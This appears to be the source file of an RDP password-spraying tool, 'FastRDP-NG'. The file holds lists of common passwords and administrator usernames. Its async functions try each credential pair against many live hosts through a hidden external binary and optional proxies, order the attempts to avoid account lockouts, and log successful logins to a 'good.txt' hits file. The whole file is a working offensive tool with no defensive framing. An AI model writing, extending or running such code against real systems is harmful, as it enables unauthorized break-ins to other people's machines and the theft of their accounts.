Files
rdp-brute/bruteforce.py

253 lines
8.2 KiB
Python

"""
FastRDP-NG: RDP Password Sprayer.
Tries top common passwords against live RDP hosts using subprocess.
Supports optional proxy routing via ProxyManager.
"""
import asyncio
import logging
import os
import subprocess
import time
from typing import List, Tuple, Set, Optional
logger = logging.getLogger("FastRDP-NG")
# Top 50 most common RDP passwords (by frequency in breaches)
TOP50_PASSWORDS = [
"admin", "Admin", "password", "Password", "123456",
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
"123456789", "1234567890", "letmein", "welcome", "monkey",
"dragon", "master", "login", "abc123", "test",
"test123", "pass", "Pass", "P@ss", "qwerty123",
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
"sunshine", "princess", "football", "baseball", "welcome1",
"admin123", "Admin123", "password!", "password.", "password00",
]
# Top usernames for RDP
TOP_USERNAMES = [
"Administrator", "Admin", "admin", "administrator",
"User", "user", "GuestUser", "Guest", "root",
]
async def spray_password(
ip: str,
port: int,
username: str,
password: str,
timeout: float = 5.0,
proxy_manager=None,
) -> Tuple[str, int, str, str, bool]:
"""
Try a single credential pair against an RDP host.
Supports optional proxy routing via proxy_manager.
Attempts to find rdpthread.exe in common locations, then
falls back to RDP banner detection (connectivity check only).
Returns (ip, port, username, password, success).
"""
# Try to locate rdpthread.exe in likely locations
base = os.path.dirname(os.path.abspath(__file__))
search_paths = [
os.path.join(base, "rdpthread.exe"),
os.path.join(base, "..", "rdpthread.exe"),
os.path.join(base, "bin", "rdpthread.exe"),
]
rdpthread_path = None
for p in search_paths:
if os.path.exists(p):
rdpthread_path = p
break
if rdpthread_path:
try:
result = subprocess.run(
[rdpthread_path, ip, str(port), username, password],
capture_output=True,
timeout=timeout,
creationflags=subprocess.CREATE_NO_WINDOW
)
output = result.stdout.decode('utf-8', errors='ignore').lower()
success = (
"success" in output or
"connected" in output or
"authenticated" in output or
result.returncode == 0
)
return (ip, port, username, password, success)
except (FileNotFoundError, subprocess.TimeoutExpired,
subprocess.CalledProcessError, OSError):
pass
# Fallback: RDP banner check (confirms RDP service is running)
# When proxy is enabled, route through proxy
open_conn = asyncio.open_connection
if proxy_manager and proxy_manager.enabled:
open_conn = proxy_manager.open_connection
try:
reader, writer = await asyncio.wait_for(
open_conn(ip, port),
timeout=2.0
)
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=1.0
)
writer.close()
await writer.wait_closed()
# TPKT header (0x03) indicates RDP protocol response
if len(data) >= 2 and data[0] == 0x03:
return (ip, port, username, password, False)
except (asyncio.TimeoutError, ConnectionError):
pass
writer.close()
await writer.wait_closed()
return (ip, port, username, password, False)
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return (ip, port, username, password, False)
async def spray_all_hosts(
live_hosts: Set[Tuple[str, int]],
usernames: List[str] = None, # type: ignore
passwords: List[str] = None, # type: ignore
max_concurrent: int = 100,
timeout: float = 5.0,
progress_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray top passwords across all live hosts.
Tries 1 password per host, then moves to next password.
This avoids account lockouts and finds weak passwords fast.
Supports optional proxy routing.
Returns list of (ip, port, username, password) successful hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits = []
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
attempts = 0
start_time = time.time()
async def try_combo(ip: str, port: int, user: str, pwd: str):
nonlocal attempts
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
attempts += 1
if success:
hits.append((ip, port, u, p))
if progress_callback and attempts % 100 == 0:
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
progress_callback(attempts, total_attempts, len(hits), rate)
return success
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
# Spray strategy: for each password, try it against ALL hosts first
# This is the "password spraying" approach - avoids lockouts
tasks = []
for password in passwords:
for ip, port in live_hosts:
for username in usernames:
tasks.append(asyncio.create_task(
try_combo(ip, port, username, password)
))
# Execute this password batch before moving to next password
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
_write_hits(hits)
tasks = []
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
logger.info(
f"Spray complete: {len(hits)} hits from {attempts} attempts "
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
)
return hits
async def spray_single_host(
ip: str,
port: int,
usernames: List[str] = None,
passwords: List[str] = None,
max_concurrent: int = 50,
timeout: float = 5.0,
hit_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray ALL passwords against a SINGLE host immediately.
Called as soon as a host is discovered — no need to wait for full scan.
Supports optional proxy routing.
hit_callback(ip, port, user, password): called on each successful hit.
Returns list of (ip, port, username, password) hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits: List[Tuple[str, int, str, str]] = []
async def try_combo(user: str, pwd: str):
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
if success:
hits.append((ip, port, u, p))
if hit_callback:
hit_callback(ip, port, u, p)
# Fire all tasks
tasks = []
for user in usernames:
for pwd in passwords:
tasks.append(asyncio.create_task(try_combo(user, pwd)))
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
_write_hits(hits)
return hits
def _write_hits(hits: List[Tuple[str, int, str, str]]):
"""Write successful hits to results file immediately."""
import os
output_path = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
"results", "good.txt"
)
os.makedirs(os.path.dirname(output_path), exist_ok=True)
with open(output_path, 'a') as f:
for ip, port, user, pwd in hits:
line = f"{user}:{pwd}@{ip}:{port}\n"
f.write(line)
print(f"\n[+] HIT! {line.strip()}")